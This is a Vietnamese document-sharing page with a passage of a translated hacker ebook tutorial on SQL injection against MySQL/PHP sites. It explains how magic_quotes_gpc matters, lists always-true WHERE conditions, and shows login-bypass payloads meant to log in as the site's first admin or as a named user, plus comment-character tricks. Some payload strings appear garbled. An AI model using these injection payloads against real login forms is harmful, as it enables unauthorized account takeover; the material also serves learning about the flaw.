1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 276 doc

6 69 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Hacker Professional Ebook Part 276 Doc
Trường học Trường Đại Học Công Nghệ Thông Tin
Chuyên ngành Công Nghệ Thông Tin
Thể loại Bài viết
Năm xuất bản 2023
Thành phố Hồ Chí Minh
Định dạng
Số trang 6
Dung lượng 172,48 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Với sự cập nhật liên tục về MySql, một điều hiển nhiên rằng sẽ không bao giờ có một hướng dẫn hoàn thiện, đầy đủ về chủ đề này :D hoặc ít nhất cũng không thể đầy đủ trong một thời gian d

Trang 1

$result = @imap_body($vnforce, 1);

echo $result; @imap_close($vnforce);

?>

black_hat_cr(HCE)

Mysql & PHP SQL Injection

hê hê, thức trọn đêm đọc hiểu , và dịch tiếng Lào và viết lại bài này, sau đây là kết quả Edited , chúc anh em vui vẻ !!!! Enjoyyyy !!!!!!!!!!!!!!

sry ko bỏ [code] đc , khi nào rảnh bỏ , giờ vô làm vài trận CS với mụ HY cái

Bài Dịch Của Unixzdo (Mod dịch thuật của HCE cũ) - Edited by

Micimacko[HcE]

====================

SQL Injection MySQL via PHP

Code:

====================

Contents

1 Introduction

2 SELECT

3 INSERT

4 UPDATE

5 Conclusion/Credit

Lời giới thiệu:

Bài viết sẽ giúp bạn biết những điều tôi biết về injection sql trong php, với cơ sở

dữ liệu MySql ##Mã mysql/php được đặt màu xanh và các giá trị gán cho biến với mục đích inject đặt màu đỏ

Mọi bài thực hành được viết ở đây được chính tôi thực hiện

Bạn sẽ thấy có một trường hợp nhỏ của sự tương thích sql injection với ngôn ngữ php, trái với ASP hoặc JSP, bởi vì nhược điểm cấu hình của nó (sẽ được nói đến sau)

Trang 2

Với sự cập nhật liên tục về MySql, một điều hiển nhiên rằng sẽ không bao giờ có một hướng dẫn hoàn thiện, đầy đủ về chủ đề này :D (hoặc ít nhất cũng không thể đầy đủ trong một thời gian dài)

Chúng ta hãy nhớ điều này: cốt yếu của injection sql là nó thay đổi cái mục tiêu ban đầu của một yêu cầu sql (ko theo ý muốn của coder) , nhờ vào việc thay đổi các biến (có thể thay đổi đc) bởi người dùng

Hãy tưởng tượng một trang php cho phép tìm kiếm một người dùng đã được ghi nhớ trên site đó

Yêu cầu có thể theo kiểu sau:

$req ="SELECT * FROM members WHERE name LIKE ' %$search%' ORDER

BY name";

vị trí $search là một biến có thể thay đổi bởi người dùng, đến từ một form post (hoặc một thứ khác giống như thế) từ kiểu sau:

< form method="POST" action="<? echo #; ? > ">

< input type="text" name="search"><br >

< input type="submit" value="Search" >

</form >

Ví dụ Search form ở trên làm việc với các thênh viên theo thứ tự abc ('theo tên') ,

và cũng làm việc tốt với uid, khi đó ta có thể cho $search giá trị: %' ORDER BY uid # Với thứ tự làm việc của các mã thì yêu cầu thi hành lúc đó sẽ được chuyển thành:

SELECT * FROM members WHERE name LIKE ' % % ' ORDER BY uid#% ' ORDER BY name

Cái gì thì không phải là kịch bản chính :)

Tôi sẽ không đi vào chi tiết ví dụ này, chúng ta không phải vội vã đê hiểu hết tất

cả, mọi điều đều có thứ tự của nó :D , nếu mọi thứ đc trình bày cùng 1 lúc thì bạn

sẽ chẳng biết đc nên quan tâm đến điều gì, và nguyên lý cốt yếu của nó là gì?

Trang 3

Trở lại vấn đề cấu hình php Có một dòng trong file "php.ini" để xác định

"magic_quotes_gpc" Nếu tuỳ chọn này ở ON , là trường hợp kém an toàn (97% các site php thường như vậy), các dấu " và ' sẽ thành dấu gạch chéo( \ ), IE sẽ chuyển nó thành dạng \" và \'

Như vậy với ví dụ đầu của chúng ta, yêu cầu thi hành sẽ là:

SELECT * FROM members WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name

Những giá trị thực nào tìm kiếm một cái tên mà chứa câu: % ' ORDER BY uid # trong bảng 'members' ,điều mà tất nhiên là sẽ không cho một kết quả nào

Dưới đây sẽ trình bày tại sao trong phần này chúng ta làm việc trên một site với magic_quotes_gpc ở tùy chọn off

3 kiểu yêu cầu thi hành chính (3 kiểu Query chính) trong các mã php là SELECT, INSERT và UPDATE

SELECT rút thông tin của một hay nhiều bảng, INSERT thêm một bản ghi, và UPDATE thay đổi một bản ghi đã được tạo ra rồi

**SELECT:

Bắt đầu từ truyền thống, yêu cầu SELECT được sử dụng nhiều nhất trong các website , và hiểu biết về injection SQL với SELECT đc biết đến sớm nhất, nên nó được nói đến nhiều nhất SELECT thường được sử dụng trong sự xác nhận admin hoặc member

Như vậy hãy tưởng tượng một form hỏi mật khẩu và cho login Các giá trị nhập vào sau đã được trả lại hướng tới một yêu cầu mysql:

$req= "SELECT uid FROM admins WHERE login='$login' AND

password='$pass'";

Yêu cầu này được thực hiện, nếu có một kết quả,tức là các giá trị nhập vào cho biến login và password trên là tồn tại và thích hợp,và như vậy ta sẽ login vào với một administrator

Trang 4

Cái nhìn đầu tiên, để hợp lệ hóa yêu cầu này, cần một giá trị login và password hợp

lệ

Do vậy biểu thức login='$login' hoặc password='pass' trả lại giá trị đúng, có thể cần giá trị login và password nhập vào $login/$pass là tồn tại

Đó là một chút nói về điều kiện luôn có giá trị trả về là đúng Phải gọi chúng nhiều lần để khẳng định rằng các điều kiện trong các trường hợp này ở đó

Tôi đã bỏ công soạn thảo cho các bạn một danh sách nhỏ các yêu cầu mà luôn luôn trả lại kết quả là OK :D

SELECT * FROM counts WHERE 1=1

SELECT * FROM counts WHERE ' uuu' = 'uuu'

SELECT * FROM counts WHERE 12

SELECT * FROM counts WHERE 3>2

SELECT * FROM counts WHERE 2<3

SELECT * FROM counts WHERE 1

SELECT * FROM counts WHERE 1+1

SELECT * FROM counts WHERE 1 1

SELECT * FROM counts WHERE ISNULL(NULL)

SELECT * FROM counts WHERE ISNULL(COT(0))

SELECT * FROM counts WHERE 1 IS NOT NULL

SELECT * FROM counts WHERE NULL IS NULL

SELECT * FROM counts WHERE 2 BETWEEN 1 AND 3

SELECT * FROM counts WHERE 'b' BETWEEN 'a' AND 'c'

SELECT * FROM counts WHERE 2 IN (0,1,2)

SELECT * FROM counts WHERE CASA WHEN 1>0 THEN 1 END

Bạn giữ và hiểu nó, tôi khẳng định rằng mỗi cái đó là một thực tế chắc chắn và hiển nhiên : 1=1 (biểu thức 1=1 hé,vâng), 3 lớn hơn 2 (liệu có gì đúng hơn ko nhỉ :D) , Tất nhiên rằng ngoài những cái trên ra còn có những cái khác cũng tốt,

nhưng ta tạm nêu ra thế thôi

Ý tưởng mà biểu thức luôn trả lại giá trị 'ok' trong yêu cầu, là một trong những nguyên lý lớn của injection sql

Thực vậy, nếu một người chèn một giá trị luôn đúng vào yêu cầu, thật vô ích khi

có một form login và một đòi hỏi nhập password

Trang 5

Ví dụ khi cho biến login và biến pass giá trị : 'GOLD 'a' = 'a , yêu cầu sql sau sẽ được thực hiện:

SELECT uid FROM admins WHERE login = ' 'GOLD 'a' = 'a' AND password = ' ' GOLD 'a' = 'a'

Điều gì sẽ trả lại 'ok' ? Chính từ 'a' = 'a' là luôn đúng

Ở đây bản ghi đầu tiên của bảng sẽ được chọn, biến uid được rút ra như vậy sẽ là '1' Và trong hầu hết các trường hợp, member/admin đầu tiên được ghi vào

database là chủ của site, do vậy nghiễm nhiên ta trở thành admin với hầu hết quyền trên site :D

Nếu một kẻ muốn có thể chọn tại khoản để truy cập (ví dụ như một kẻ mạo danh), điều cần thiết là phải có thông tin

Nếu một kẻ muốn có tài khoản của john, chỉ cần trả lại cho $login "john" và $pass

là một biểu thức luôn đúng, ví dụ: 'GOLD 'b' BETWEEN 'a' AND 'c ,điều mà sẽ được thực hiện bởi yêu cầu sau:

SELECT uid FROM admins WHERE login= 'John' AND password = ' 'GOLD 'b' BETWEEN 'a' AND 'c'

Bây giờ hãy xem một nguyên lý lớn khác của sql injection,điều mà có thể có ích trong ví dụ mà chúng ta có ở đây, và trong những ví dụ khác : sự sử dụng kí tự comments ( # )

Thoạt tiên kí tự # , kí tự chú giải tất cả những cái đi theo sau nó (do đó những cái

đó sẽ không đc thực hiện trên cơ sở dữ liệu nữa) Ví dụ:

SELECT * FROM counts WHERE nom=' Jack' # comment

yêu cầu này sẽ được thực hiện:

SELECT * FROM counts WHERE nom=' Jack'

/* và */ cũng có thể được sử dụng để chuyển vào trong chú giải tất cả những gì ở giữa chúng) Ví dụ:

Ngày đăng: 04/07/2014, 12:20

TỪ KHÓA LIÊN QUAN